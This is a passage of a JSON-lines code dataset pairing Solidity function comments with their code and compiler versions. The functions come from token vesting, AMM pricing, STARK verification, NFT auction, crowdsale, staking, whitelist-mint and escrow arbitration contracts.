transfer unlocked tokens to the wallet", "function_code": "function claim() external {\n require(block.number >= vestingStartBlock, 'claim: vesting not started');\n\n uint256 passedBlocks = block.number - vestingStartBlock;\n require(passedBlocks >= UNLOCK_CYCLE, 'claim: not claimable yet');\n\n uint256 tokenBalance = token.balanceOf(address(this));\n require(tokenBalance > 0, 'claim: no tokens');\n\n uint256 monthIndex = passedBlocks / UNLOCK_CYCLE;\n uint256 totalClaimAmount;\n\n // check missing months that should be claimed\n for (uint256 i = lastClaimIndex; i <= monthIndex; i++) {\n if (tokenBalance > totalClaimAmount && unlockedAmount[i] == 0) {\n uint256 availableAmount = tokenBalance - totalClaimAmount;\n\n uint256 claimAmount = availableAmount >= UNLOCK_AMOUNT\n ? UNLOCK_AMOUNT\n : availableAmount;\n\n unlockedAmount[i] = claimAmount;\n totalClaimAmount += claimAmount;\n lastClaimIndex = i;\n }\n }\n\n if (totalClaimAmount > 0) {\n token.safeTransfer(wallet, totalClaimAmount);\n emit Claimed(block.number, totalClaimAmount, wallet);\n }\n }", "version": "0.8.4"} {"comment": "/*\n * `getReturn` at point `x = inputBalance / (inputBalance + outputBalance)`:\n * `getReturn(x) = 0.9999 + (0.5817091329374359 - x * 1.2734233188154198)^17`\n * When balance is changed from `inputBalance` to `inputBalance + amount` we should take\n * integral of getReturn to calculate proper amount:\n * `getReturn(x0, x1) = (integral (0.9999 + (0.5817091329374359 - x * 1.2734233188154198)^17) dx from x=x0 to x=x1) / (x1 - x0)`\n * `getReturn(x0, x1) = (0.9999 * x - 3.3827123349983306 * (x - 0.4568073509746632) ** 18 from x=x0 to x=x1) / (x1 - x0)`\n * `getReturn(x0, x1) = (0.9999 * (x1 - x0) + 3.3827123349983306 * ((x0 - 0.4568073509746632) ** 18 - (x1 - 0.4568073509746632) ** 18)) / (x1 - x0)`\n */", "function_code": "function getReturn(IERC20 tokenFrom, IERC20 tokenTo, uint256 inputAmount) public view returns(uint256 outputAmount) {\n unchecked {\n uint256 fromBalance = tokenFrom.balanceOf(address(this));\n uint256 toBalance = tokenTo.balanceOf(address(this));\n require(inputAmount <= toBalance, \"input amount is too big\");\n uint256 x0 = _ONE * fromBalance / (fromBalance + toBalance);\n uint256 x1 = _ONE * (fromBalance + inputAmount) / (fromBalance + toBalance);\n uint256 x1subx0 = _ONE * inputAmount / (fromBalance + toBalance);\n uint256 amountMultiplier = (\n _C1 * x1subx0 +\n _C2 * _powerHelper(x0) -\n _C2 * _powerHelper(x1)\n ) / x1subx0;\n outputAmount = inputAmount * Math.min(amountMultiplier, _ONE) / _ONE;\n }\n }", "version": "0.8.6"} {"comment": "// Computes the hash of the Merkle statement, and verifies that it is registered in the\n// Merkle Fact Registry. Receives as input the queuePtr (as address), its length\n// the numbers of queries n, and the root. The channelPtr is is ignored.", "function_code": "function verify(uint256 /*channelPtr*/, uint256 queuePtr, bytes32 root, uint256 n) internal view\n returns(bytes32) {\n bytes32 statement;\n require(n <= MAX_N_MERKLE_VERIFIER_QUERIES, \"TOO_MANY_MERKLE_QUERIES\");\n\n assembly {\n let dataToHashPtrStart := mload(0x40) // freePtr.\n let dataToHashPtrCur := dataToHashPtrStart\n\n let queEndPtr := add(queuePtr, mul(n, 0x40))\n\n for { } lt(queuePtr, queEndPtr) { } {\n mstore(dataToHashPtrCur, mload(queuePtr))\n dataToHashPtrCur := add(dataToHashPtrCur, 0x20)\n queuePtr := add(queuePtr, 0x20)\n }\n\n mstore(dataToHashPtrCur, root)\n dataToHashPtrCur := add(dataToHashPtrCur, 0x20)\n mstore(0x40, dataToHashPtrCur)\n\n statement := keccak256(dataToHashPtrStart, sub(dataToHashPtrCur, dataToHashPtrStart))\n }\n require(merkleStatementContract.isValid(statement), \"INVALIDATED_MERKLE_STATEMENT\");\n return root;\n }", "version": "0.5.15"} {"comment": "/**\r\n @notice Creates a new auction for a given nft\r\n @dev Only the owner of a nft can create an auction and must have approved the contract\r\n @dev End time for the auction must be in the future.\r\n @param _tokenId Token ID of the nft being auctioned\r\n @param _reservePrice Nft cannot be sold for less than this or minBidIncrement, whichever is higher\r\n @param _startTimestamp Unix epoch in seconds for the auction start time\r\n @param _endTimestamp Unix epoch in seconds for the auction end time.\r\n */", "function_code": "function createAuction(\r\n uint256 _tokenId,\r\n uint256 _reservePrice,\r\n uint256 _startTimestamp,\r\n uint256 _endTimestamp\r\n ) external onlyOwner {\r\n // Check owner of the token is the creator and approved\r\n require(\r\n sateNft.isApproved(_tokenId, address(this)),\r\n \"Not approved\"\r\n );\r\n\r\n _createAuction(\r\n _tokenId,\r\n _reservePrice,\r\n _startTimestamp,\r\n _endTimestamp\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Places a new bid, out bidding the existing bidder if found and criteria is reached\r\n @dev Only callable when the auction is open\r\n @dev Bids from smart contracts are prohibited to prevent griefing with always reverting receiver\r\n @param _tokenId Token ID of the NFT being auctioned\r\n @param _amount Bid STARL amount\r\n */", "function_code": "function placeBid(uint256 _tokenId, uint256 _amount) external payable {\r\n require(_msgSender().isContract() == false, \"No contracts permitted\");\r\n\r\n // Check the auction to see if this is a valid bid\r\n Auction storage auction = auctions[_tokenId];\r\n\r\n // Ensure auction is in flight\r\n require(\r\n _getNow() >= auction.startTime && _getNow() <= auction.endTime,\r\n \"Bidding outside of the auction window\"\r\n );\r\n\r\n // Ensure bid adheres to outbid increment and threshold\r\n HighestBid storage highestBid = highestBids[_tokenId];\r\n uint256 minBidRequired = highestBid.bid.add(minBidIncrement);\r\n require(_amount >= auction.reservePrice, \"Failed to outbid min bid price\");\r\n require(_amount >= minBidRequired, \"Failed to outbid highest bidder\");\r\n\r\n // Transfer STARL token\r\n token.safeTransferFrom(_msgSender(), address(this), _amount);\r\n\r\n // Refund existing top bidder if found\r\n if (highestBid.bidder != address(0)) {\r\n _refundHighestBidder(highestBid.bidder, highestBid.bid);\r\n }\r\n\r\n // assign top bidder and bid time\r\n highestBid.bidder = _msgSender();\r\n highestBid.bid = _amount;\r\n highestBid.lastBidTime = _getNow();\r\n\r\n emit BidPlaced(_tokenId, _msgSender(), _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Given a sender who has the highest bid on a NFT, allows them to withdraw their bid\r\n @dev Only callable by the existing top bidder\r\n @param _tokenId Token ID of the NFT being auctioned\r\n */", "function_code": "function withdrawBid(uint256 _tokenId) external {\r\n HighestBid storage highestBid = highestBids[_tokenId];\r\n\r\n // Ensure highest bidder is the caller\r\n require(highestBid.bidder == _msgSender(), \"You are not the highest bidder\");\r\n\r\n // Check withdrawal after delay time\r\n require(\r\n _getNow() >= highestBid.lastBidTime.add(bidWithdrawalLockTime),\r\n \"Cannot withdraw until lock time has passed\"\r\n );\r\n\r\n require(_getNow() < auctions[_tokenId].endTime, \"Past auction end\");\r\n\r\n uint256 previousBid = highestBid.bid;\r\n\r\n // Clean up the existing top bid\r\n delete highestBids[_tokenId];\r\n\r\n // Refund the top bidder\r\n _refundHighestBidder(_msgSender(), previousBid);\r\n\r\n emit BidWithdrawn(_tokenId, _msgSender(), previousBid);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Cancels and inflight and un-resulted auctions, returning the funds to the top bidder if found\r\n @dev Only admin\r\n @param _tokenId Token ID of the NFT being auctioned\r\n */", "function_code": "function cancelAuction(uint256 _tokenId) external onlyOwner {\r\n\r\n // Check valid and not resulted\r\n Auction storage auction = auctions[_tokenId];\r\n\r\n // Check auction is real\r\n require(auction.endTime > 0, \"Auction does not exist\");\r\n\r\n // Check auction not already resulted\r\n require(!auction.resulted, \"Auction already resulted\");\r\n\r\n // refund existing top bidder if found\r\n HighestBid storage highestBid = highestBids[_tokenId];\r\n if (highestBid.bidder != address(0)) {\r\n _refundHighestBidder(highestBid.bidder, highestBid.bid);\r\n\r\n // Clear up highest bid\r\n delete highestBids[_tokenId];\r\n }\r\n\r\n // Remove auction and top bidder\r\n delete auctions[_tokenId];\r\n\r\n emit AuctionCancelled(_tokenId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Update the current end time for an auction\r\n @dev Only admin\r\n @dev Auction must exist\r\n @param _tokenId Token ID of the NFT being auctioned\r\n @param _endTimestamp New end time (unix epoch in seconds)\r\n */", "function_code": "function updateAuctionEndTime(uint256 _tokenId, uint256 _endTimestamp) external onlyOwner {\r\n require(\r\n auctions[_tokenId].endTime > 0,\r\n \"No Auction exists\"\r\n );\r\n require(\r\n auctions[_tokenId].startTime < _endTimestamp,\r\n \"End time must be greater than start\"\r\n );\r\n require(\r\n _endTimestamp > _getNow(),\r\n \"End time passed. Nobody can bid\"\r\n );\r\n\r\n auctions[_tokenId].endTime = _endTimestamp;\r\n emit UpdateAuctionEndTime(_tokenId, _endTimestamp);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Private method doing the heavy lifting of creating an auction\r\n @param _tokenId Token ID of the nft being auctioned\r\n @param _reservePrice Nft cannot be sold for less than this or minBidIncrement, whichever is higher\r\n @param _startTimestamp Unix epoch in seconds for the auction start time\r\n @param _endTimestamp Unix epoch in seconds for the auction end time.\r\n */", "function_code": "function _createAuction(\r\n uint256 _tokenId,\r\n uint256 _reservePrice,\r\n uint256 _startTimestamp,\r\n uint256 _endTimestamp\r\n ) private {\r\n // Ensure a token cannot be re-listed if previously successfully sold\r\n require(auctions[_tokenId].endTime == 0, \"Cannot relist\");\r\n\r\n // Check end time not before start time and that end is in the future\r\n require(_endTimestamp > _startTimestamp, \"End time must be greater than start\");\r\n require(_endTimestamp > _getNow(), \"End time passed. Nobody can bid.\");\r\n\r\n // Setup the auction\r\n auctions[_tokenId] = Auction({\r\n reservePrice : _reservePrice,\r\n startTime : _startTimestamp,\r\n endTime : _endTimestamp,\r\n resulted : false\r\n });\r\n\r\n emit AuctionCreated(_tokenId, _reservePrice, _startTimestamp, _endTimestamp);\r\n }", "version": "0.6.12"} {"comment": "/*\n Auxiliary function for getRandomBytes.\n */", "function_code": "function getRandomBytesInner(bytes32 digest, uint256 counter)\n internal pure\n returns (bytes32, uint256, bytes32)\n {\n // returns 32 bytes (for random field elements or four queries at a time).\n bytes32 randomBytes = keccak256(abi.encodePacked(digest, counter));\n\n return (digest, counter + 1, randomBytes);\n }", "version": "0.5.15"} {"comment": "/*\n Returns 32 bytes. Used for a random field element, or for 4 query indices.\n */", "function_code": "function getRandomBytes(uint256 prngPtr)\n internal pure\n returns (bytes32 randomBytes)\n {\n bytes32 digest;\n uint256 counter;\n (digest, counter) = loadPrng(prngPtr);\n\n // returns 32 bytes (for random field elements or four queries at a time).\n (digest, counter, randomBytes) = getRandomBytesInner(digest, counter);\n\n storePrng(prngPtr, digest, counter);\n return randomBytes;\n }", "version": "0.5.15"} {"comment": "/*\n Fast-forwards the queries and invPoints of the friQueue from before the first layer to after\n the last layer, computes the last FRI layer using horner evalations, then returns the hash\n of the final FriQueue.\n */", "function_code": "function computerLastLayerHash(uint256[] memory ctx, uint256 nPoints, uint256 numLayers)\n internal returns (bytes32 lastLayerHash) {\n uint256 friLastLayerDegBound = ctx[MM_FRI_LAST_LAYER_DEG_BOUND];\n uint256 groupOrderMinusOne = friLastLayerDegBound * ctx[MM_BLOW_UP_FACTOR] - 1;\n uint256 exponent = 1 << numLayers;\n uint256 curPointIndex = 0;\n uint256 prevQuery = 0;\n uint256 coefsStart = ctx[MM_FRI_LAST_LAYER_PTR];\n\n for (uint256 i = 0; i < nPoints; i++) {\n uint256 query = ctx[MM_FRI_QUEUE + 3*i] >> numLayers;\n if (query == prevQuery) {\n continue;\n }\n ctx[MM_FRI_QUEUE + 3*curPointIndex] = query;\n prevQuery = query;\n\n uint256 point = fpow(ctx[MM_FRI_QUEUE + 3*i + 2], exponent);\n ctx[MM_FRI_QUEUE + 3*curPointIndex + 2] = point;\n // Invert point using inverse(point) == fpow(point, ord(point) - 1).\n\n point = fpow(point, groupOrderMinusOne);\n ctx[MM_FRI_QUEUE + 3*curPointIndex + 1] = hornerEval(\n coefsStart, point, friLastLayerDegBound);\n\n curPointIndex++;\n }\n\n uint256 friQueue = getPtr(ctx, MM_FRI_QUEUE);\n assembly {\n lastLayerHash := keccak256(friQueue, mul(curPointIndex, 0x60))\n }\n }", "version": "0.5.15"} {"comment": "// admin minting directly to receipent\n// admin minting", "function_code": "function giftHonorary(uint[] calldata gifts, address[] calldata recipient) external onlyOwner{\n\trequire(gifts.length == recipient.length);\n\tuint g = 0;\n\tuint256 s = totalSupply();\n\tfor(uint i = 0; i < gifts.length; ++i){\n\tg += gifts[i];\n\t}\n\trequire( s + g <= maxSupply, \"Too many\" );\n\tdelete g;\n\tfor(uint i = 0; i < recipient.length; ++i){\n\tfor(uint j = 0; j < gifts[i]; ++j){\n\t_safeMint( recipient[i], s++, \"\" );\n\t}\n\t}\n\tdelete s;\t\n\t}", "version": "0.8.10"} {"comment": "// forwards ether received to refund vault and generates tokens for purchaser", "function_code": "function buyTokens(address _purchaser) public payable ifUnrestricted onlyWhileActive returns (bool) {\r\n\t require(!targetReached());\r\n\t require(msg.value > purchaseThreshold);\r\n\t refundVault.deposit.value(msg.value)(_purchaser);\r\n\t // 1 LEON is priced at 1 USD\r\n\t // etherToUSDRate is stored in cents, /100 to get USD quantity\r\n\t // crowdsale offers 100% bonus, purchaser receives (tokens before bonus) * 2\r\n\t // tokens = (ether * etherToUSDRate in cents) * 2 / 100\r\n\t\tuint256 _tokens = (msg.value).mul(etherToUSDRate).div(50);\t\t\r\n\t\trequire(tokenContract.transferFrom(moderator,_purchaser, _tokens));\r\n tokensSold = tokensSold.add(_tokens);\r\n Purchased(_purchaser, _tokens);\r\n return true;\r\n\t}", "version": "0.4.18"} {"comment": "// activates end of crowdsale state", "function_code": "function finalize() public onlyModerator {\r\n // cannot have been invoked before\r\n require(!isFinalized);\r\n // can only be invoked after end date or if target has been reached\r\n require(hasEnded() || targetReached());\r\n \r\n // if crowdsale has been successful\r\n if(targetReached()) {\r\n // close refund vault and forward ether to etherVault\r\n refundVault.close();\r\n\r\n // if the sale was unsuccessful \r\n } else {\r\n // activate refund vault\r\n refundVault.enableRefunds();\r\n }\r\n // emit Finalized event\r\n Finalized();\r\n // set isFinalized boolean to true\r\n isFinalized = true;\r\n \r\n active = false;\r\n\r\n }", "version": "0.4.18"} {"comment": "// refunds ether to investors if crowdsale is unsuccessful ", "function_code": "function claimRefund() public {\r\n // can only be invoked after sale is finalized\r\n require(isFinalized);\r\n // can only be invoked if sale target was not reached\r\n require(!targetReached());\r\n // if msg.sender invested ether during crowdsale - refund them of their contribution\r\n refundVault.refund(msg.sender);\r\n }", "version": "0.4.18"} {"comment": "// call notifyRewardAmount for all staking tokens.\n// function notifyRewardAmounts() public {\n// require(stakingTokens.length > 0, 'StakingRewardsFactory::notifyRewardAmounts: called before any deploys');\n// for (uint i = 0; i < stakingTokens.length; i++) {\n// notifyRewardAmount(stakingTokens[i]);\n// }\n// }\n// notify reward amount for an individual staking token.\n// this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts", "function_code": "function notifyRewardAmount(\r\n address stakingToken,\r\n uint256 duration,\r\n uint256 rewardAmount\r\n ) public onlyOwner {\r\n require(\r\n block.timestamp >= stakingRewardsGenesis,\r\n \"StakingRewardsFactory::notifyRewardAmount: not ready\"\r\n );\r\n\r\n\r\n StakingRewardsInfo storage info\r\n = stakingRewardsInfoByStakingToken[stakingToken];\r\n require(\r\n info.stakingRewards != address(0),\r\n \"StakingRewardsFactory::notifyRewardAmount: not deployed\"\r\n );\r\n\r\n require(\r\n IERC20(rewardsToken).transfer(info.stakingRewards, rewardAmount),\r\n \"StakingRewardsFactory::notifyRewardAmount: transfer failed\"\r\n );\r\n StakingRewardsLock(info.stakingRewards).notifyRewardAmount(\r\n rewardAmount,\r\n duration\r\n );\r\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// Scan the addressIndices for ensuring the target address is included\n// ------------------------------------------------------------------------", "function_code": "function scanAddresses(address addr) internal {\r\n bool isAddrExist = false;\r\n for (uint i = 0;i < addressIndices.length; i++) {\r\n if (addressIndices[i] == addr) {\r\n isAddrExist = true;\r\n break;\r\n }\r\n }\r\n if (isAddrExist == false) {\r\n addressIndices.push(addr);\r\n OnPushedAddress(addr, addressIndices.length);\r\n }\r\n }", "version": "0.4.20"} {"comment": "// ------------------------------------------------------------------------\n// Calculate the fee tokens for transferring.\n// ------------------------------------------------------------------------", "function_code": "function calculateTransferFee(uint tokens) internal pure returns (uint) {\r\n uint calFee = 0;\r\n if (tokens > 0 && tokens <= 1000)\r\n calFee = 1;\r\n else if (tokens > 1000 && tokens <= 5000)\r\n calFee = tokens.mul(1).div(1000);\r\n else if (tokens > 5000 && tokens <= 10000)\r\n calFee = tokens.mul(2).div(1000);\r\n else if (tokens > 10000)\r\n calFee = 30;\r\n return calFee;\r\n }", "version": "0.4.20"} {"comment": "// ------------------------------------------------------------------------\n// Allocate interest.\n// ------------------------------------------------------------------------", "function_code": "function allocateTokens() public onlyOwnerOrOperator onlyWhenAllocatingInterestOpen {\r\n for (uint i = 0; i < addressIndices.length; i++) {\r\n address crntAddr = addressIndices[i];\r\n uint balanceOfCrntAddr = balances[crntAddr];\r\n uint allocatedTokens = balanceOfCrntAddr.mul(interestAllocationPercentageNumerator).div(interestAllocationPercentageDenominator);\r\n balances[crntAddr] = balances[crntAddr].add(allocatedTokens);\r\n balances[owner] = balances[owner].sub(allocatedTokens);\r\n Transfer(owner, crntAddr, allocatedTokens);\r\n OnAllocated(crntAddr, allocatedTokens);\r\n }\r\n }", "version": "0.4.20"} {"comment": "// ------------------------------------------------------------------------\n// Charge investers for management fee.\n// ------------------------------------------------------------------------", "function_code": "function chargeTokensForManagement() public onlyOwnerOrOperator onlyWhenChargingManagementFeeOpen {\r\n for (uint i = 0; i < addressIndices.length; i++) {\r\n address crntAddr = addressIndices[i];\r\n uint balanceOfCrntAddr = balances[crntAddr];\r\n uint chargedTokens = balanceOfCrntAddr.mul(managementFeeChargePercentageNumerator).div(managementFeeChargePercentageDenominator);\r\n balances[crntAddr] = balances[crntAddr].sub(chargedTokens);\r\n balances[owner] = balances[owner].add(chargedTokens);\r\n Transfer(crntAddr,owner, chargedTokens);\r\n OnCharged(crntAddr, chargedTokens);\r\n }\r\n }", "version": "0.4.20"} {"comment": "// ------------------------------------------------------------------------\n// Remove `numerator / denominator` % of tokens from the system irreversibly\n// ------------------------------------------------------------------------", "function_code": "function burnByPercentage(uint8 m, uint8 d) public onlyOwner returns (bool success) {\r\n require(m > 0 && d > 0 && m <= d);\r\n uint totalBurnedTokens = balances[owner].mul(m).div(d);\r\n balances[owner] = balances[owner].sub(totalBurnedTokens);\r\n _totalSupply = _totalSupply.sub(totalBurnedTokens);\r\n Transfer(owner, address(0), totalBurnedTokens);\r\n OnTokenBurned(totalBurnedTokens);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Function to mint new NFTs during the presale\r\n * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))\r\n */", "function_code": "function mintNFTDuringPresale(\r\n uint256 _numOfTokens,\r\n bytes32[] memory _proof\r\n ) \r\n public \r\n payable\r\n {\r\n require(isActive, 'Sale is not active');\r\n require(isPresaleActive, 'Whitelist is not active');\r\n require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), \"Not whitelisted\");\r\n if (!freeMintActive){\r\n require(totalSupply() < MAX_NFT_PUBLIC, 'All public tokens have been minted');\r\n require(_numOfTokens <= WHITELIST_MAX_MINT, 'Cannot purchase this many tokens');\r\n require(totalSupply().add(_numOfTokens) <= MAX_NFT_PUBLIC, 'Purchase would exceed max public supply of NFTs');\r\n require(whiteListClaimed[msg.sender].add(_numOfTokens) <= WHITELIST_MAX_MINT, 'Purchase exceeds max whitelisted');\r\n require(NFTPrice.mul(_numOfTokens) == msg.value, \"Ether value sent is not correct\");\r\n whiteListClaimed[msg.sender] += _numOfTokens;\r\n _safeMint(msg.sender, _numOfTokens);\r\n }\r\n else{\r\n require(totalSupply() <= MAX_NFT, 'All tokens have been minted');\r\n require(_numOfTokens == 1, 'Cannot purchase this many tokens');\r\n require(!giveawayMintClaimed[msg.sender], 'Already claimed giveaway');\r\n giveawayMintClaimed[msg.sender] = true;\r\n _safeMint(msg.sender, _numOfTokens);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/*\r\n * Function to get token URI of given token ID\r\n * URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC\r\n */", "function_code": "function tokenURI(\r\n uint256 _tokenId\r\n )\r\n public \r\n view \r\n virtual \r\n override \r\n returns (string memory) \r\n {\r\n require(_exists(_tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n if (!reveal) {\r\n return string(abi.encodePacked(blindURI));\r\n } else {\r\n return string(abi.encodePacked(baseURI, _tokenId.toString()));\r\n }\r\n }", "version": "0.8.0"} {"comment": "// Verify MerkleProof", "function_code": "function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {\r\n bytes32 computedHash = leaf;\r\n\r\n for (uint256 i = 0; i < proof.length; i++) {\r\n bytes32 proofElement = proof[i];\r\n \r\n if (computedHash <= proofElement) {\r\n // Hash(current computed hash + current element of the proof)\r\n computedHash = sha256(abi.encodePacked(computedHash, proofElement));\r\n } else {\r\n // Hash(current element of the proof + current computed hash)\r\n computedHash = sha256(abi.encodePacked(proofElement, computedHash));\r\n }\r\n }\r\n\r\n // Check if the computed hash (root) is equal to the provided root\r\n return computedHash == root;\r\n }", "version": "0.8.0"} {"comment": "/// @notice Called by PartyB to deposit their stake, locking in the agreement so no one can\n/// unilaterally withdraw. PartyA already deposited funds in createAgreementA, so we only need\n/// a deposit function for partyB.", "function_code": "function depositB(uint agreementID) external payable {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on.\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(msg.sender == agreement.partyBAddress, \"Function can only be called by party B.\");\n require(!partyStakePaid(agreement, Party.B), \"Party B already deposited their stake.\");\n // No need to check that party A deposited: they can't create an agreement otherwise.\n\n setPartyStakePaid(agreement, Party.B, true);\n\n emit PartyBDeposited(uint32(agreementID));\n\n verifyDeposit_Untrusted_Guarded(agreement, Party.B);\n\n if (add(agreement.partyAInitialArbitratorFee, agreement.partyBInitialArbitratorFee) > 0) {\n payOutInitialArbitratorFee_Untrusted_Unguarded(agreement);\n }\n }", "version": "0.5.3"} {"comment": "/// @notice If A calls createAgreementA but B is delaying in calling depositB, A can get their\n/// funds back by calling earlyWithdrawA. This closes the agreement to further deposits. A or\n/// B wouldhave to call createAgreementA again if they still wanted to do an agreement.", "function_code": "function earlyWithdrawA(uint agreementID) external {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(msg.sender == agreement.partyAAddress, \"earlyWithdrawA not called by party A.\");\n require(\n partyStakePaid(agreement, Party.A) && !partyStakePaid(agreement, Party.B),\n \"Early withdraw not allowed.\"\n );\n require(!partyReceivedDistribution(agreement, Party.A), \"partyA already received funds.\");\n\n setPartyReceivedDistribution(agreement, Party.A, true);\n\n emit PartyAWithdrewEarly(uint32(agreementID));\n\n executeDistribution_Untrusted_Unguarded(\n agreement.partyAAddress,\n agreement.partyAToken,\n toWei(agreement.partyAStakeAmount, agreement.partyATokenPower),\n agreement.arbitratorToken,\n toWei(agreement.partyAInitialArbitratorFee, agreement.arbitratorTokenPower)\n );\n }", "version": "0.5.3"} {"comment": "/// @notice If the other person hasn't paid their arbitration fee in time, this function\n/// allows the caller to cause the agreement to be resolved in their favor without the\n/// arbitrator getting involved.\n/// @param distributeFunds Whether to distribute funds to both parties.", "function_code": "function requestDefaultJudgment(uint agreementID, bool distributeFunds) external {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on.\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(agreementIsLockedIn(agreement), \"Agreement not locked in.\");\n\n (Party callingParty, Party otherParty) = getCallingPartyAndOtherParty(agreement);\n\n require(\n !partyResolutionIsNull(agreement, callingParty),\n \"requestDefaultJudgment called before party resolved.\"\n );\n require(\n block.timestamp > agreement.nextArbitrationStepAllowedAfterTimestamp,\n \"requestDefaultJudgment not allowed yet.\"\n );\n\n emit DefaultJudgment(uint32(agreementID));\n\n require(\n partyFullyPaidDisputeFee_Sometimes_Untrusted_Guarded(\n agreementID,\n agreement,\n callingParty\n ),\n \"Party didn't fully pay the dispute fee.\"\n );\n require(\n !partyFullyPaidDisputeFee_Sometimes_Untrusted_Guarded(\n agreementID,\n agreement,\n otherParty\n ),\n \"Other party fully paid the dispute fee.\"\n );\n\n (uint48 partyResA, uint48 partyResB) = partyResolution(\n agreement,\n callingParty\n );\n\n finalizeResolution_Untrusted_Unguarded(\n agreementID,\n agreement,\n partyResA,\n partyResB,\n distributeFunds,\n false\n );\n }", "version": "0.5.3"} {"comment": "/// @notice If enough time has elapsed, either party can trigger auto-resolution (if enabled)\n/// by calling this function, provided that neither party has requested arbitration yet.\n/// @param distributeFunds Whether to distribute funds to both parties", "function_code": "function requestAutomaticResolution(uint agreementID, bool distributeFunds) external {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on.\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(agreementIsLockedIn(agreement), \"Agreement not locked in.\");\n require(\n (\n !partyRequestedArbitration(agreement, Party.A) &&\n !partyRequestedArbitration(agreement, Party.B)\n ),\n \"Arbitration stops auto-resolution\"\n );\n require(\n msg.sender == agreement.partyAAddress || msg.sender == agreement.partyBAddress,\n \"Unauthorized sender.\"\n );\n require(\n agreement.autoResolveAfterTimestamp > 0,\n \"Agreement does not support automatic resolutions.\"\n );\n require(\n block.timestamp > agreement.autoResolveAfterTimestamp,\n \"AutoResolution not allowed yet.\"\n );\n\n emit AutomaticResolution(uint32(agreementID));\n\n finalizeResolution_Untrusted_Unguarded(\n agreementID,\n agreement,\n agreement.automaticResolutionTokenA,\n agreement.automaticResolutionTokenB,\n distributeFunds,\n false\n );\n }", "version": "0.5.3"} {"comment": "/// @notice Either party can record evidence on the blockchain in case off-chain communication\n/// breaks down. Uses ERC1497. Allows submitting evidence even after an agreement is closed in\n/// case someone wants to clear their name.\n/// @param evidence can be any string containing evidence. Usually will be a URI to a document\n/// or video containing evidence.", "function_code": "function submitEvidence(uint agreementID, string calldata evidence) external {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(\n (\n msg.sender == agreement.partyAAddress ||\n msg.sender == agreement.partyBAddress ||\n msg.sender == agreement.arbitratorAddress\n ),\n \"Unauthorized sender.\"\n );\n\n emit Evidence(Arbitrator(agreement.arbitratorAddress), agreementID, msg.sender, evidence);\n }", "version": "0.5.3"} {"comment": "// ------------- Some setter functions ---------------", "function_code": "function setPartyResolution(\n AgreementDataERC20 storage agreement,\n Party party,\n uint48 valueTokenA,\n uint48 valueTokenB\n )\n internal\n {\n if (party == Party.A) {\n agreement.partyAResolutionTokenA = valueTokenA;\n agreement.partyAResolutionTokenB = valueTokenB;\n } else {\n agreement.partyBResolutionTokenA = valueTokenA;\n agreement.partyBResolutionTokenB = valueTokenB;\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Like toWei but resolutionToWei is for \"resolution\" values which might have a\n/// special value of RESOLUTION_NULL, which we need to handle separately.\n/// @dev This can't overflow. For an explanation of why see the comments for MAX_TOKEN_POWER.\n/// @param value internal value that we want to convert to wei\n/// @param tokenPower The exponent to use to convert our internal representation to wei.\n/// @return the wei value", "function_code": "function resolutionToWei(uint value, uint tokenPower) internal pure returns (uint) {\n if (value == RESOLUTION_NULL) {\n return uint(~0); // set all bits of a uint to 1\n }\n return mul(value, (10 ** tokenPower));\n }", "version": "0.5.3"} {"comment": "/// @notice Requires that the caller be party A or party B.\n/// @return whichever party the caller is.", "function_code": "function getCallingParty(AgreementDataERC20 storage agreement) internal view returns (Party) {\n if (msg.sender == agreement.partyAAddress) {\n return Party.A;\n } else if (msg.sender == agreement.partyBAddress) {\n return Party.B;\n } else {\n require(false, \"getCallingParty must be called by a party to the agreement.\");\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Fails if called by anyone other than a party.\n/// @return the calling party first and the \"other party\" second.", "function_code": "function getCallingPartyAndOtherParty(\n AgreementDataERC20 storage agreement\n )\n internal\n view\n returns (Party, Party)\n {\n if (msg.sender == agreement.partyAAddress) {\n return (Party.A, Party.B);\n } else if (msg.sender == agreement.partyBAddress) {\n return (Party.B, Party.A);\n } else {\n require(\n false,\n \"getCallingPartyAndOtherParty must be called by a party to the agreement.\"\n );\n }\n }", "version": "0.5.3"} {"comment": "/// @notice This is a version of resolutionsAreCompatible where we know that both resolutions\n/// are not RESOLUTION_NULL. It's more gas efficient so we should use it when possible.\n/// See comments for resolutionsAreCompatible to understand the purpose and arguments.", "function_code": "function resolutionsAreCompatibleBothExist(\n AgreementDataERC20 storage agreement,\n uint resolutionTokenA,\n uint resolutionTokenB,\n uint otherResolutionTokenA,\n uint otherResolutionTokenB,\n Party resolutionParty\n )\n internal\n view\n returns (bool)\n {\n // If the tokens are different, ensure that both token resolutions are compatible.\n if (agreement.partyAToken != agreement.partyBToken) {\n if (resolutionParty == Party.A) {\n return resolutionTokenA <= otherResolutionTokenA &&\n resolutionTokenB <= otherResolutionTokenB;\n } else {\n return otherResolutionTokenA <= resolutionTokenA &&\n otherResolutionTokenB <= resolutionTokenB;\n }\n }\n\n // Now we know tokens are the same. We need to convert to wei because the same resolution\n // can be represented in 